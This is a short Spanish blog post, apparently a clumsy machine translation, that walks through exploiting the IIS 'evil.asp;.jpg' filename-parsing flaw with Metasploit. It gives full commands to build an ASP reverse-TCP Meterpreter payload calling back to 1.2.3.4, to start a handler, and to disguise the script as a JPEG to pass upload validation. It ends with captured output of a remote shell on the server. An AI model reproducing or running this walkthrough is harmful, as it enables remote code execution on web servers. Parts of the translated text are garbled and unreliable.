viernes, 21 de mayo de 2010

La explotación de IIS análisis del archivo de 0 días con metasploit

La explotación de IIS análisis del archivo de 0 días con metasploit: "

A partir de esta tarde, el comando msfencode tiene la capacidad de emitir secuencias de comandos ASP que se ejecutan cargas útiles Metasploit. Esto puede ser usado para explotar el nombre de archivo en la actualidad-sin parchear análisis función error en Microsoft IIS. Este fallo permite a un usuario que puede cargar un "seguro" extensión de archivo (jpg, png, etc) para cargar una secuencia de comandos ASP y obligarlo a ejecutar en el servidor web. El error se produce cuando un nombre de archivo se especifica en la forma de "evil.asp;. Jpg" - la aplicación comprueba la extensión del archivo y ve a "jpg", pero el servidor IIS se detiene en el primer análisis "," y ve "ASP". El resultado es la ejecución de código trivial en cualquier servidor IIS que permite al usuario elegir el nombre del archivo de su fijación subido.

Para el siguiente ejemplo, suponga que tiene una aplicación web que permite a los usuarios cargar archivos de imágenes al servidor. Para complicar las cosas, permite también asumir que la aplicación comprueba el contenido del archivo para asegurarse de que el archivo subido es una imagen válida. Para aprovechar esto, tenemos que generar una secuencia de comandos ASP que deja caer una carga útil Meterpreter y configurar una instancia msfconsole para manejar la sesión.

En primer lugar se genera una secuencia de comandos ASP que se conecta un Meterpreter-de nuevo al sistema en funcionamiento Metasploit:

$ msfpayload windows/meterpreter/reverse_tcp \
LHOST=1.2.3.4 LPORT=8443 R | \
msfencode -o evil.asp

Ahora tenemos que configurar msfconsole a aceptar las conexiones entrantes:

$ msfconsole
msf> use exploit/multi/handler
msf (handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (handler) > set LHOST 1.2.3.4
msf (handler) > set LPORT 8443
msf (handler) > set ExitOnSession false
msf (handler) > exploit -j

Para evitar el validador contenido de la imagen, vamos a anteponer una imagen JPG válida a nuestro script ASP:

$ cat happy.jpg evil.asp > "evil.asp;.jpg"

$ file "evil.asp;.jpg"
JPEG image data, JFIF standard 1.02

Ahora subimos nuestro "evil.asp;. Jpg" de la imagen a la aplicación web. Desde la extensión termina en "jpg" y el contenido del archivo parece ser un JPEG válido, la aplicación web acepta el archivo y cambia el nombre a "/ images / evil.asp;. Jpg"

Por último, vaya a la URL de la subida ASP / JPG, el cual se ejecutará nuestra carga útil y crear una nueva sesión con el msfconsole:

[*] Starting the payload handler...
[*] Started reverse handler on port 8443
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.xxx:8443 -> 66.234.xx.xx:1186)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2668 created.
Channel 1 created.
wMicrosoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami

nt authority\network service
"

No hay comentarios:

Publicar un comentario